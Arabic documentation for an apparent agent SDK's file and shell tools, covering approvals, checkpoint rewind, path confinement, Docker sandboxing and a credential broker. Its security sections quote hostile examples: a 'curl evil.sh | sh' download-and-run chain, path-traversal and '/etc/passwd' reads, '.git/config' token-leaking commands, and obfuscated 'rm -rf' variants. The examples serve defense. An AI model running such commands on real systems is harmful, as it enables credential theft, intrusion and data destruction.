الانتقال إلى المحتوى الرئيسي
لم تُحدَّث ترجمة هذه الصفحة بعد، والنسخة الإنجليزية هي الأحدث والأصح، وقد يختلف المحتوى أدناه عنها. اقرأ النسخة الإنجليزية.
تعطي الـworkspace tools الـagent نظام ملفات وshell، فيستطيع العمل كـcoding agent بأسلوب Claude Code. الأدوات نفسها لا تستخدم node:fs ولا node:child_process، بل تستدعي واجهتين صغيرتين: FsProvider وShellProvider. لذلك تعمل الأدوات نفسها على مجلد محلي، أو على شجرة ملفات في الذاكرة أثناء الاختبارات، أو على container في Docker، أو على sandbox بعيد مثل E2B أو Daytona أو Cloudflare. لشرح عملي كامل، راجع ابنِ coding agent.
تعود send() بـfinishReason: 'awaiting-approval'، وتنفّذ agent.approvals.resolve() الأمر (أو ترفضه) ويكمل الـrun (راجع Approvals). إذا أردت أن تعمل بعض الأوامر بدون سؤال، فمرّر needsApproval: false مع قائمة allow، أو needsApproval كدالة تُرجع false للأوامر التي تثق بها.
النص العادي مثل 'npm test' كان سيسمح أيضًا بـnpm test -- <anything>، وبرامج كثيرة لديها flags تكتب ملفات (git diff --output=../x وnode --test --test-reporter-destination=../x). راجع القواعد أدناه.

متقدم: الـexecutor API

تشغّل createAgent() الـAgentExecutor في الخلفية (راجع executor API). إذا أردت أن تتولى الربط بنفسك، فسجّل الأدوات في ToolRegistry واستدعِ الـexecutor. التوقف هو نفسه، وresumeAfterApproval(...) هي ما تستدعيه agent.approvals.resolve() عندما يوافق إنسان:

الأدوات

تُرجع createFsTools(fs, options?) أدوات defineTool التالية: يُرجع createShellTool(shell, options?) أداة واحدة اسمها shell، تأخذ command وtimeout_ms اختياريًا، وتُرجع { exitCode, stdout, stderr }. وإذا قُتل الأمر، تحمل النتيجة أيضًا timedOut: true أو aborted: true مع note توضح السبب.
إلغاء الـrun (بـagent.send(input, { signal }) أو AgentExecutor.execute({ signal })) يقتل الأمر الجاري وكل العمليات التي بدأها: كمجموعة عمليات في Linux وmacOS، وبـtaskkill /T في Windows. إذا أردت التراجع عمّا فعله الـagent بالملفات، فمرّر WorkspaceCheckpoints إلى createFsTools(fs, { checkpoints }). قبل أن تغيّر write_file أو edit_file أي ملف، يُسجَّل محتواه القديم (وبتات صلاحياته إذا كان لدى الـprovider getMode وchmod، مثل NodeWorkspace) تحت session الـrun ورقم الـturn. والـturn هو رقم رسالة المستخدم التي يجيب عنها الـtool call، ويبدأ من 0: أول session.send() هو turn 0، والذي يليه turn 1. تُرجع checkpoints.list({ sessionId }) الـturns التي حدث فيها تغيير والمسارات التي تغيّرت في كل منها. ويُعيد checkpoints.rewind(toTurn, { sessionId }) كل ملف تغيّر في turn toTurn أو بعده إلى حالته قبل toTurn: يُحذف الملف الذي أنشأه الـagent، ويستعيد الملف الذي عدّله أو كتب فوقه محتواه. ومع dryRun: true لا يتغيّر شيء ويُرجع التقرير نفسه.
الملف الذي لم يعد محتواه آخر ما كتبه الـagent فيه قد غيّره شيء آخر (أنت، أو محرّر، أو أداة shell)، فيتركه الـrewind ويبلّغ عنه في skipped كـ'changed-since'؛ مرّر force: true إذا أردت استعادته على أي حال. والمسار الموجود لكنه ليس ملفًا (مجلد مثلًا) يُتخطى كـ'not-a-file'. يُفحص كل مسار قبل كتابة أي شيء، وتمرّ الاستعادة عبر الـprovider نفسه، فيُبقيها NodeWorkspace داخل الـroot، بما في ذلك الـsymlinks. وبعد الـrewind الفعلي تُنسى النسخ الاحتياطية للـturns التي أعادها، بما فيها نسخ الملفات المتخطّاة، فلا يفعل الـrewind الثاني شيئًا: راجع الـdry run أولًا. وتبقى المجلدات التي أنشأها الـagent (فارغة) بعد حذف ملفاتها. ولا يُتراجع عن المحادثة نفسها؛ إذا أردت تفريعها أيضًا، فاعمل fork للـsession بـsession.fork({ fromStep }) (راجع تفريع جلسة؛ حقل turn للخطوة في session.history() هو رقم الـturn المستخدم هنا)، أو اعمل fork لـrun واحد بـagent.fork() (راجع Fork and replay). تنجو النسخ الاحتياطية من الـcrash. تُخزَّن النسخة قبل كتابة الملف، فالعملية التي تُقتل بين الخطوتين لا تخسر شيئًا: لا يزال الملف يحتوي على المحتوى المنسوخ، ويعتبر الـrewind أنه لا يوجد فيه ما يُتراجع عنه. والـtool call الذي كان يعمل عندما توقفت العملية يُعاد تشغيله عند الاستئناف (راجع At-least-once tools)؛ وتجد إعادة التشغيل نسخة الـturn لذلك المسار وتحتفظ بها، فيُعيد rewind() المحتوى الذي كان قبل المحاولة الأولى، لا الكتابة نصف المكتملة التي أجراها الـagent نفسه. وwrite_file أو edit_file التي كانت ستترك الملف كما هو (المحتوى نفسه، أو تعديل مطبَّق مسبقًا) لا تسجّل شيئًا ولا تكتب شيئًا. ما لا يُتتبَّع: التغييرات التي تجريها أداة shell، والملفات التي يكتبها sub-agent بأدوات ملفات خاصة به (إلا إذا أخذ كائن WorkspaceCheckpoints نفسه، فتُسجَّل حينها تحت session id الخاص به)، والملفات الأكبر من maxFileBytes (الافتراضي 1,000,000 بايت): تُبلَّغ كـ'too-large' ولا تُحذف أبدًا. وبدون session، يكون كل agent.send() هو turn 0 في الـsession 'default'، فاستخدم agent.session() إذا أردت التراجع حسب الـturn. وتُعدّ الـturns في السجل الذي يراه الـmodel، فبعد أن يحذف الـcompaction رسائل مستخدم قديمة يتغيّر ترقيم الـturns اللاحقة. لا تكبر النسخ الاحتياطية بلا حد. يُحتفظ فقط بأحدث maxTurns turn لكل session (الافتراضي 20؛ وrewind() إلى turn أقدم يرمي خطأ)؛ ولا يُنسخ الملف الأكبر من maxFileBytes؛ وإذا كتب turn واحد المسار نفسه عدة مرات، فإن أول كتابة فقط تحتفظ بالمحتوى القديم (الكتابات اللاحقة تحتفظ بـhash لسجل التدقيق)؛ ويُسقط الـrewind النسخ التي أعادها؛ وينسى checkpoints.clear({ sessionId }) session كاملة. يحتفظ الـstore الافتراضي بالنسخ في الذاكرة. ويكتب new FileWorkspaceCheckpointStore(dir) ملف JSON واحدًا لكل session كتابةً ذرّية (ملف مؤقت ثم rename)، فيعمل الـrewind بعد إعادة التشغيل؛ نفّذ WorkspaceCheckpointStore إذا أردت حفظها في مكان آخر. ويعيش محتوى الملفات في الـstore فقط، ولا يظهر أبدًا في الأحداث أو الـtraces.

نموذج الأمان

اقرأ هذا قبل أن تعطي model وصولًا إلى shell.

ما يُفرَض

تبقى المسارات داخل الـroot. قبل لمس أي ملف، يطبّق NodeWorkspace (وMemoryWorkspace كذلك) normalize على كل مسار. وتُرفض هذه الحالات على كل المنصات:
  • .. الذي يخرج فوق الـroot (../secret وsrc/../../secret)
  • المسارات المطلقة (/etc/passwd، وحتى المسار المطلق الذي يشير إلى داخل الـroot)
  • حروف الأقراص في Windows (C:\Windows وC:secret)
  • مسارات UNC والمسارات الممتدة (\\server\share و//server/share و\\?\C:\)
  • بايتات NUL
تُحسب الشرطات المائلة العكسية فواصل في كل مكان، فلا يستطيع خلط الفواصل (src/..\..\secret) إخفاء ... وفي Windows تُرفض أيضًا : (alternate data streams)، وأسماء الأجهزة المحجوزة (CON وNUL وCOM1 …)، والمقاطع المكوّنة من نقاط ومسافات فقط (يحذف Windows النقاط والمسافات من آخر الاسم، فكانت .. ستتصرف كـ..). لا تستطيع الـsymlinks الخروج. بعد هذا الفحص، يحلّ NodeWorkspace المسار بـrealpath. وإذا لم يكن المسار موجودًا بعد، يحلّ أعمق جزء موجود منه. ويجب أن تبقى النتيجة داخل المسار الحقيقي للـroot نفسه. أي أن:
  • الرابط داخل الـroot الذي يشير إلى خارجه يُرفض للقراءة، وللكتابة على ملفات غير موجودة بعد (escape-link/new.txt).
  • الرابط الذي هدفه غير موجود لا يُتبع أبدًا، لأن الكتابة عبره قد تنشئ ملفًا خارج الـroot.
  • لا تتبع glob وgrep الروابط أبدًا أثناء المرور على الشجرة.
  • تحذف rm على رابطٍ الرابطَ نفسه وتترك هدفه.
الكتابة ذرّية. يكتب NodeWorkspace الملف (ولـwrite_file وedit_file أيضًا) في ملف مؤقت في المجلد نفسه، ثم يعمل له flush ثم rename فوق الهدف، فالعملية التي تُقتل في منتصف الكتابة تترك الملف القديم أو الجديد، ولا تتركه أبدًا مكتوبًا جزئيًا. ويحتفظ الملف المستبدَل ببتات صلاحياته، ولا يزال الملف read-only يُرفض. تبتعد أدوات الملفات عن .git. غالبًا ما يحتوي الـcheckout على credentials في .git/config: يحفظ actions/checkout الـtoken الخاص بالـjob هناك كـhttp.https://github.com/.extraheader = AUTHORIZATION: basic ...، والـmodel الذي يستطيع قراءته يستطيع تسريب الـtoken في إجابته. وفي git worktree، يكون .git ملفًا فيه مسار الـhost للـrepository الرئيسي. لذلك ترفض read_file وlist_dir وglob وgrep وwrite_file وedit_file أي مسار فيه مقطع .git، على أي عمق (.git/config وsub/.git)، وتستبعد glob وgrep وlist_dir مدخلات .git من نتائجها، حتى مع ignore: []. ويعمل الفحص بعد الـnormalize، فتُرفض أيضًا ./.git وa/../.git و.git\config و.git/. وتُقارن الأسماء بدون حساسية لحالة الأحرف (.GIT)، وتُتجاهل النقاط والمسافات في آخر الاسم (يفتح Windows .git. كـ.git)، وفي Windows تُرفض الأسماء القصيرة بصيغة 8.3 مثل GIT~1. ولا تتأثر .gitignore و.github/. تشمل القائمة الافتراضية أيضًا .env و.env.* (.env.local، .env.production)، فلا يستطيع الـmodel الذي تعرّض لـprompt injection قراءة الأسرار منها. وتبقى .env.example و.env.sample و.env.template قابلة للقراءة. والمدخل الذي ينتهي بـ* مطابقة بادئة تستثني لواحق القوالب الثلاث هذه. والـdeny الذي تمرّره يستبدل القيم الافتراضية، ولا يُضاف إليها: اكتب .git و.env من جديد، مثلًا deny: ['.git', '.env', '.env.*', 'secrets'] (أسماء مدخلات، لا مسارات)، أو مرّر deny: [] لإيقاف الفحص.
تُرفض الروابط إلى .git أيضًا. مع NodeWorkspace (أو أي provider ينفّذ realPath)، يعمل الفحص أيضًا على المكان الذي يصل إليه المسار فعلًا، فلا يمكن استخدام الـsymlink أو الـjunction في Windows في أي مكان آخر من الـworkspace الذي يشير إلى .git أو إلى داخله (gitj -> .git وhooks -> .git/hooks وcfg -> .git/config) لقراءة ما وراءه أو كتابته أو تعديله: read_file gitj/config وedit_file gitj/config وwrite_file gitj/PWNED أخطاء أداة، ومثلها list_dir وglob وgrep عندما يُعطى الرابط كـpath لها (grep مع path: 'gitj' أو path: 'gitj/config'). ولا تتبع glob وgrep الروابط أبدًا أثناء المرور على الشجرة، فلا يصل البحث من الـroot إلى .git عبر رابط هو الآخر. والـprovider الذي ليس لديه realPath (MemoryWorkspace لا يحتوي على روابط) يحصل على فحص الاسم فقط. أداة shell غير مشمولة: الأمر نص حر، فلا يمكن تصفيته حسب المسار، ولا تزال cat .git/config أو git config --get-regexp extraheader تعمل. وأوامر git التي تحتاجها الـcoding agents (git status وgit diff) تمر عبر أداة الـshell، فأبقِ قائمة allow فيها محصورة في أوامر git التي تقصدها. وفي CI، مرّر أيضًا persist-credentials: false إلى actions/checkout إذا كان الـjob لا يعمل push. يظهر الرفض كخطأ أداة. المسار المرفوض، أو الملف غير الموجود، أو التعديل المبهم يرمي WorkspaceError داخل الأداة. يستلم الـmodel { "error": "WorkspaceError", "toolName": "read_file", "message": "..." } ويكمل الـrun. وتعرض الرسائل مسار الـworkspace، ولا تعرض أبدًا مسار الـhost. تعمل الأوامر ببيئة دنيا. ينفّذ NodeWorkspace الأوامر مع cwd مضبوط على الـroot، ولا يورّثها بيئة العملية الأم. لا يُنسخ إلا: PATH وHOME وUSERPROFILE وTEMP وTMP وTMPDIR وLANG وLC_* وTERM، إضافةً إلى SystemRoot وSystemDrive وComSpec وPATHEXT وWINDIR في Windows، لأن الـshell يحتاجها لكي يعمل. وبالتالي فإن OPENAI_API_KEY وANTHROPIC_API_KEY وبيانات اعتماد السحابة وغيرها من الأسرار في بيئة السيرفر لديك غير مرئية للأوامر التي يكتبها الـmodel، ولا يستطيع env أو printenv كشفها. إذا أردت إعطاء الأوامر أكثر، فإما أن تمرّر قيمًا (env: { GITHUB_TOKEN: scopedToken }) أو تسمّي متغيرات من الـhost تُنسخ (inheritEnv: ['CI']). وأي شيء تمرّره بهذه الطريقة مرئي للـmodel. يمرّر inheritEnv: true بيئة الـhost كاملة، كما كان الوضع قبل وجود هذا السلوك الافتراضي؛ فلا تستخدمه إلا مع أوامر تثق بها. وفي Windows يضيف مشغّل العمليات في Node أيضًا متغيرات الـsession التي تحتاجها كل عملية (HOMEDRIVE وHOMEPATH وUSERNAME وUSERDOMAIN وLOGONSERVER)؛ ولا شيء منها سرّي.
يجب أن يكون root موجودًا مسبقًا: يحلّه الـconstructor بـrealpath ويرمي ConfigurationError إذا كان المسار مفقودًا أو فارغًا أو ليس مجلدًا — ولا ينشئه أبدًا. والقيمة المحفوظة في workspace.root هي المسار الحقيقي المطلق. تحتاج أداة الـshell إلى approval افتراضيًا. ما لم تختر غير ذلك، ينتظر كل أمر إنسانًا. تُفحص allow وdeny أولًا، فلا يُعرض الأمر المرفوض للـapproval أصلًا:
  • يطابق النمط النصي أمرًا يساويه تمامًا، أو يبدأ به متبوعًا بمسافة ('git status' يطابق git status -s). يسمح النمط النصي بالأمر مع معاملات عادية، لكن ليس مع مسار يخرج من مجلد العمل: مقطع .. أو ~ أو مسار مطلق، في أي مكان من الأمر بما في ذلك --flag=value. ويسري هذا عندما يكون المسار بين علامات تنصيص (cat "../x" وcat '..'/x وtype "c:\windows\win.ini")، أو مهرَّبًا تحت sh (cat .\./x)، أو glob قد يتوسع إلى .. (cat .?/x). ويُرفض أيضًا الأمر الذي يحتوي على $ أو { أو }، لأن الـshell يوسّعه إلى نص لا يستطيع الفحص رؤيته (cat $HOME/.gitconfig وcat ${IFS}../x وcat {..,x}/secret.txt). لذلك لا يسمح allow: ['node --test'] بـnode --test --test-reporter-destination=../x. إذا أردت السماح بمعاملات مثل هذه، فاستخدم CommandRule أو RegExp مثبّتًا. ومع ذلك فإن النمط النصي ليس حدًّا أمنيًا كاملًا لما يفعله البرنامج بمعاملاته (ملف إعدادات يقرؤه، أو سكربت يشغّله)، ففضّل CommandRule يثبّتها.
  • يثبّت كائن CommandRule المعاملات. يطابق { command: 'npm test' } الأمر npm test ولا شيء غيره. ويطابق { command: 'node --test', args } عندما يبدأ الأمر بـnode --test وتُرجع args(rest) القيمة true لبقية السطر ('' إذا لم توجد بقية):
  • في allow، يجب ألّا يحتوي الأمر الذي طابقه نمط نصي أو CommandRule فقط على معاملات shell (; & | ` $( < > أو سطر جديد). وتحت cmd.exe، تُحسب % (توسيع المتغيرات) و^ (التهريب) معاملات أيضًا. وهذا يمنع git status; curl evil.sh | sh من المرور كـgit status.
  • يُختبر الـRegExp على سطر الأمر كاملًا، فثبّته من الطرفين: /^npm (test|run lint)$/.
  • تُفحص أنماط deny النصية وCommandRules على كل جزء من الأمر مفصول بـ; أو & أو |.
يخبر وصف الأداة الـmodel أي shell ينفّذ أوامره، إذا صرّح الـprovider بذلك (يكشف NodeWorkspace وSandboxShell الخاصية shell). وفي Windows يستخدم NodeWorkspace الـcmd.exe، فيُطلب من الـmodel استخدام علامات التنصيص المزدوجة وكتابة المتغيرات بصيغة %NAME%. والـprovider الذي لا يسمّي الـshell الخاص به يُعامَل كـcmd.exe في فحص المعاملات على Windows.

ما لا يُفرَض

  • الـshell في NodeWorkspace ليس sandbox. يسري حصر المسارات على أدوات الملفات فقط. يعمل الأمر بمستخدم نظام التشغيل لديك، ويستطيع قراءة وكتابة وحذف أي شيء يستطيعه ذلك المستخدم، بما في ذلك ../ و~/.ssh، ويستطيع استخدام الشبكة. يقلّل الـapproval وقوائم allow الخطر، لكنها ليست عزلًا. ومع مدخلات غير موثوقة، مثل prompts قادمة من الجمهور أو محتوى منزّل من الويب، أعطِ أداة الـshell ShellProvider مبنيًا على sandbox (انظر أدناه)، واستخدم أدوات الملفات مع readOnly: true أو مع approval.
  • قائمة deny للتسهيل فقط. في الـshell طرق كثيرة لكتابة الأمر نفسه (r''m -rf، $(echo rm)، مسافة زائدة، ملف سكربت)، فلا تعتمد على deny للأمان. استخدم allow لذلك.
  • السباقات والـhard links. تُفحص المسارات ثم تُستخدم. وتستطيع عملية تبدّل مجلدًا بـsymlink بين الخطوتين الالتفاف على الفحص. وعملية كهذه لديها وصول محلي أصلًا، مثل أمر شغّلته أداة الـshell بدون sandbox. ولا يمكن اكتشاف hard link داخل الـroot يشير إلى ملف خارجه.
  • يشغّل grep الـregex الخاص بالـmodel، لذا فهو محاط بقيود. النمط الذي يكرر مجموعة متكررة أصلًا ((a+)+ و(\w+\s*)*) يُرفض كخطأ أداة، لأنه قد يستغرق وقتًا أُسّيًا. يُختبر كل سطر على أول 2,000 حرف منه. وتعمل المطابقة في worker thread بميزانية 10 ثوانٍ لكل استدعاء: يُوقف النمط البطيء بخطأ أداة، ويوقفه الـabort فورًا، ويبقى الـevent loop حرًا خلال ذلك. وإذا لم يكن node:worker_threads متاحًا، تعمل المطابقة inline.

Sandboxed shell: SandboxShell

يحوّل SandboxShell أي SandboxAdapter، مثل SubprocessSandbox المبني على Docker، إلى ShellProvider. يُنفَّذ كل أمر كـsh -c "<command>" في container جديد بلا شبكة. لا يرى الـcontainer إلا cwd، وهو مربوط bind-mount على المسار نفسه. ولا يحصل إلا على الـenv الذي تمرّره، ولا شيء من الـhost. وتستطيع أدوات الملفات الاستمرار في استخدام NodeWorkspace على المجلد نفسه:
البيئة والشبكة. يأخذ SandboxShell خياري env وinheritEnv نفسيهما الخاصين بـNodeWorkspace. ولا يحصل الـcontainer إلا على هذه المتغيرات: لا بيئة الـhost أبدًا، ولا PATH ولا HOME الخاصين بالـhost، لأن الـimage توفّر قيمها بنفسها. ومع NoopSandbox (الذي يعمل على الـhost) يحصل الأمر على القاعدة الصغيرة نفسها التي يستخدمها NodeWorkspace، إضافةً إلى متغيراتك؛ ويعيد inheritEnv: true بيئة الـhost كاملة هناك، لكن الـcontainer لا يستلمها أبدًا حتى مع ذلك. يأخذ SubprocessSandbox سياسة network: تُفحص أسماء الـhosts عند إنشاء الـsandbox، فيرمي عنوان URL أو اسم غير سليم خطأً؛ وتُحفظ القائمة بعد التحقق في sandbox.network.

Allowlisted egress: network: { allow } with a broker

لا يستطيع Docker وحده تصفية الـegress حسب اسم الـhost، فلا تُفرَض قائمة allow إلا عندما يكون الـproxy هو الطريق الوحيد للخروج من الـcontainer. يبني SubprocessSandbox هذا بعناصر Docker نفسها:
  1. عند أول run() ينشئ شبكة bridge داخلية (Internal: true، بلا IPv6، وبالـlabel com.lousho.sandbox=egress) اسمها networkName أو lousho-egress-<random>. لا يوجد في الشبكة الداخلية طريق خارج الـbridge. وإذا كانت هناك شبكة موجودة بهذا الاسم، يُعاد استخدامها، لكن فقط إذا كانت داخلية.
  2. يحصل الـbroker على listener ثانٍ على عنوان الـgateway لتلك الشبكة، وهو في Docker Engine على Linux واجهة الـhost نفسها على الـbridge. ويقبل اتصالات من subnet تلك الشبكة فقط (يُقطع أي طرف آخر قبل قراءة بايت واحد)، فهو ليس proxy مفتوحًا على بقية واجهات الـhost. وقائمته هي hosts قواعد الـbroker إضافةً إلى قائمة allow الخاصة بالـsandbox. ولا يتغير خيار allow الخاص بالـbroker ولا listener الـloopback.
  3. ينضم كل container إلى تلك الشبكة مع HTTP_PROXY/HTTPS_PROXY (وصيغها الصغيرة) مضبوطة على listener الـgateway، مدمجة فوق env الذي تمرّره. ولا يحتوي NO_PROXY إلا على عنوان الـgateway، فيصل $HTTP_PROXY/__broker/<host>/<path> (صيغة المسار التي تضيف credentials) إلى الـbroker مباشرة؛ ولا يمنح أي bypass آخر، لأنه لا يوجد شيء آخر يمكن الوصول إليه أصلًا.
  4. يوقف sandbox.close() الـlistener ويحذف الشبكة إذا كان هذا الـsandbox هو الذي أنشأها. ويحذف الـrun الملغي أو المنتهي بـtimeout الـcontainer كما كان سابقًا؛ وتبقى الشبكة للـrun التالي للـsandbox حتى تستدعي close().
ما يفرضه هذا، وأين:
  • Docker Engine على Linux والـagent على الـhost نفسه: مفروض. يستطيع الـcontainer الوصول إلى عنوان الـgateway ولا شيء بعد الـbridge. وفي DNS: لا يحلّ الـcontainer أي أسماء خارجية بنفسه (الإصدار 25.0.5 من Engine وما بعده لا يمرّر DNS من الشبكات الداخلية، CVE-2024-29018؛ والإصدارات الأقدم تُرفض)، فتذهب الأسماء إلى الـproxy الذي يحلّها على الـhost بعد فحص الـallowlist. ولا يوجد route للاتصالات المباشرة بـIP خام. والبروتوكولات غير HTTP (SSH وTCP خام وUDP) محجوبة، لأن الـproxy وحده هو ما يمكن الوصول إليه، وتُفحص أنفاق CONNECT على الـallowlist مثل أي طلب. وهذا مُختبَر على daemon حقيقي: يعمل الـjob compat في الـCI (npm run test:docker) على runner ubuntu-latest في GitHub (كان Docker Engine بصلاحيات root بالإصدار 28.0.4 على Ubuntu 24.04 عند إضافته)، ويتأكد من أن الـhost المسموح يجيب عبر الـbroker، وأن بقية الـhosts تحصل على 403، وأن تجاوز الـproxy أو الاتصال بـIP خام ليس له route، وأن الـcontainer لا يحلّ أسماء خارجية، وأن الـbroker يضيف credentials لا يراها الـcontainer أبدًا، وأن container خارج الشبكة لا يستطيع استخدام listener الـgateway، وأن close() والـrun الملغي لا يتركان شبكة ولا container خلفهما، وأن الشبكة المعاد استخدامها غير الداخلية تُرفض.
  • Docker Desktop (Windows وmacOS، وDesktop على Linux): مرفوض. تعمل الـcontainers داخل VM، فليس للـhost عنوان على الشبكة الداخلية. ولا يصل host.docker.internal إلى الـhost إلا من الشبكات غير الداخلية، وهذه تصل إلى كل شيء آخر أيضًا. يرفض run() بـLOUSHO_SANDBOX_EGRESS_UNSUPPORTED ولا يشغّل أي container. والأمر نفسه مع Docker rootless (يعيش الـbridge في network namespace خاص به)، ومع daemon على جهاز آخر (لا يستطيع الـbroker الارتباط بعنوان الـgateway)، ومع شبكة معاد استخدامها ليست داخلية، ومع Engine أقدم من 25.0.5.
  • خدمات أخرى على عنوان الـbridge في الـhost. يستطيع container على شبكة داخلية الوصول إلى أي خدمة على الـhost تستمع على عنوان الـgateway أو على كل العناوين (0.0.0.0). اربط خدمات الـhost بـ127.0.0.1، أو ضع جدارًا ناريًا يقيّد subnet الـbridge بمنفذ الـbroker فقط. والجدار الناري على الـhost الذي يُسقط الترافيك القادم من الـbridge (سياسة INPUT صارمة) يحجب الـbroker أيضًا: حينها تفشل الـruns في الاتصال، ولا تحصل على egress مفتوح.
  • لا تزال أوامر الـhost بدون جدار ناري. يستطيع الأمر الذي ينفّذه NodeWorkspace أو NoopSandbox تجاهل متغيرات الـproxy؛ راجع ملاحظات الـcredential broker أدناه.
هذه الضمانات مبنية على السلوك الموثّق للشبكات الداخلية في Docker؛ وتفحص اختبارات الـSDK الربط على client مزيّف لـDocker، لا على daemon حي.
ما لا يغطيه هذا: أي قيمة تمرّرها في env أو inheritEnv تستطيع أوامر الـmodel قراءتها، وnetwork: 'default' يسمح للأمر بإرسالها إلى أي مكان. أبقِ الأسرار طويلة الأمد خارج الاثنين؛ واستخدم الـcredential broker أدناه بدلًا منها. عندما يُلغى الـrun، يمرّر SandboxShell إشارة الإلغاء إلى الـadapter. حينها يقتل SubprocessSandbox الـcontainer ويحذفه، وتبلّغ أداة الـshell عن aborted: true؛ والإشارة الملغاة مسبقًا لا تشغّل أي container. والـadapter الذي يتجاهل SandboxRunOptions.signal لا يُنتظَر بعدها، لكن أمره يستمر في العمل حتى تنتهي مهلته؛ وتحدد أداة الـshell دائمًا مهلة.

Credential broker

أحيانًا يحتاج أمر يشغّله الـmodel (git أو curl أو سكربت) إلى استدعاء API يتطلب auth، لكن أي token في بيئته يستطيع الـmodel قراءته. يُبقي createCredentialBroker() الـtoken على الـhost: يشغّل HTTP proxy محليًا يضيف headers الـauth إلى الطلبات الموجهة إلى الـhosts التي تسمّيها، فلا يرى الأمر إلا عنوان الـproxy.
  • ما يُرجعه. url (الـproxy، على port مؤقت على 127.0.0.1 افتراضيًا)، وenv (HTTP_PROXY وHTTPS_PROXY وNO_PROXY وصيغها الصغيرة، لخيار env في NodeWorkspace أو SandboxShell)، وbaseUrl(host)، وclose() الذي يوقف الـlistener ويغلق الـsockets المفتوحة. وتكون قيمة الـheader string أو دالة تُستدعى مع كل طلب.
  • الـallowlist. hosts القواعد (أسماء مطابقة تمامًا أو *.suffix، وهذه تطابق الـsubdomains فقط — *.example.com لا يطابق example.com) مسموحة ضمنيًا؛ ويضيف allow hosts يمكن الوصول إليها بدون headers محقونة. وأي host آخر يحصل على 403 قبل فتح أي اتصال. والـhosts التي تُحلّ إلى loopback أو link-local (مثل عنوان metadata السحابي 169.254.169.254) أو إلى عناوين خاصة تُرفض ما لم تكن مدرجة في allowPrivate، فلا يستطيع الأمر استخدام الـproxy للوصول إلى خدمات على جهازك أو شبكتك.
  • تبقى الأسرار على الـhost. لا تظهر القيم المحقونة أبدًا في env، ولا في ردود خطأ الـproxy، ولا في أي log. والطلب الموجه إلى host يخدمه الـbroker والذي يحمل أصلًا header Authorization يُحذف منه هذا الـheader ويُستبدل. ولا تُمرَّر الـhop-by-hop headers (Connection وProxy-Authorization وغيرها).
  • قيد HTTPS. يعمل حقن الـheaders على طلبات HTTP العادية وعلى صيغة المسار: يخدم الـbroker http://127.0.0.1:<port>/__broker/<host>/<path> ويمرّره إلى https://<host>/<path> مع إضافة الـheaders، وهذا ما يُرجعه baseUrl(host). وجّه أي أداة إلى ذلك الـbase URL (مثل خيار baseURL في SDK معيّن، أو URL لأمر curl) لكي تحصل على auth بدون أن تمسك بالـtoken. أما الـclient الذي يستخدم HTTPS_PROXY مع عنوان https:// فيفتح نفق CONNECT بدلًا من ذلك: يفحص الـbroker الـallowlist على هدف النفق ويمرّر البايتات المشفرة كما هي، فلا يُضاف أي header. ولا يعترض الـbroker الـTLS.
  • ليس جدارًا ناريًا على الـhost. يستطيع الأمر الذي ينفّذه NodeWorkspace تجاهل متغيرات الـproxy وفتح اتصالاته بنفسه؛ ولا تغطي الـallowlist إلا الترافيك المار عبر الـbroker. وما يضمنه الـbroker هو أن الـtoken لا يكون أبدًا في متناول الأمر.
  • الـcontainers. لا تمرّر broker.env إلى SubprocessSandbox: فهو يشير إلى loopback الـhost. مرّر الـbroker نفسه بدلًا منه، new SubprocessSandbox({ network: { allow }, broker })، ويوجّه الـsandbox الـcontainers عبره (راجع Allowlisted egress). ويفعل ذلك بـbroker.listen({ host, clients, allow }) التي تضيف listener على عنوان آخر لا يخدم إلا الـpeers من subnet clients، وقائمته هي hosts القواعد إضافةً إلى allow. ولا يستمع الـbroker إلا على loopback ما لم تستدعِ هذه الدالة.

اكتب provider خاصًا بك

الواجهتان صغيرتان. المسارات نسبية إلى الـworkspace وتستخدم /. يطبّق normalizeWorkspacePath() الفحوص نفسها التي تستخدمها الـproviders المدمجة. ويجب أن يحصر الـprovider المكشوف لـmodel المسارات بنفسه، لأن أداة مخصصة قد تستدعيه مباشرة. وعند الفشل ارمِ WorkspaceError برسالة مفهومة.
توجد دالتان اختياريتان، getMode(path) وchmod(path, mode)، تسمحان لـWorkspaceCheckpoints باستعادة بتات صلاحيات الملف مع محتواه؛ وبدونهما يُعيد الـrewind المحتوى فقط. ودالة ثالثة، readFileBytes(path)، تُرجع البايتات الخام للملف: معها ترفض edit_file الملف الذي ليس UTF-8 صالحًا (أو فيه BOM لـUTF-16) بدلًا من أن تكتب U+FFFD فوق كل بايت لم تستطع فك ترميزه. يجب أن تُرجع ShellProvider.exec نتيجة (resolve) لا أن ترفض (reject) عند exit code غير صفري، أو timeout (timedOut: true)، أو إلغاء (aborted: true). ولا ترفض إلا إذا تعذّر بدء الأمر أصلًا.

الاختبار بـMemoryWorkspace

يحتفظ MemoryWorkspace بشجرة الملفات في الذاكرة ويفحص المسارات بالطريقة نفسها. فيه exec كـstub تبرمجه أنت، ويُسجَّل كل أمر يستلمه. ادمجه مع mockModel لاختبارات deterministic: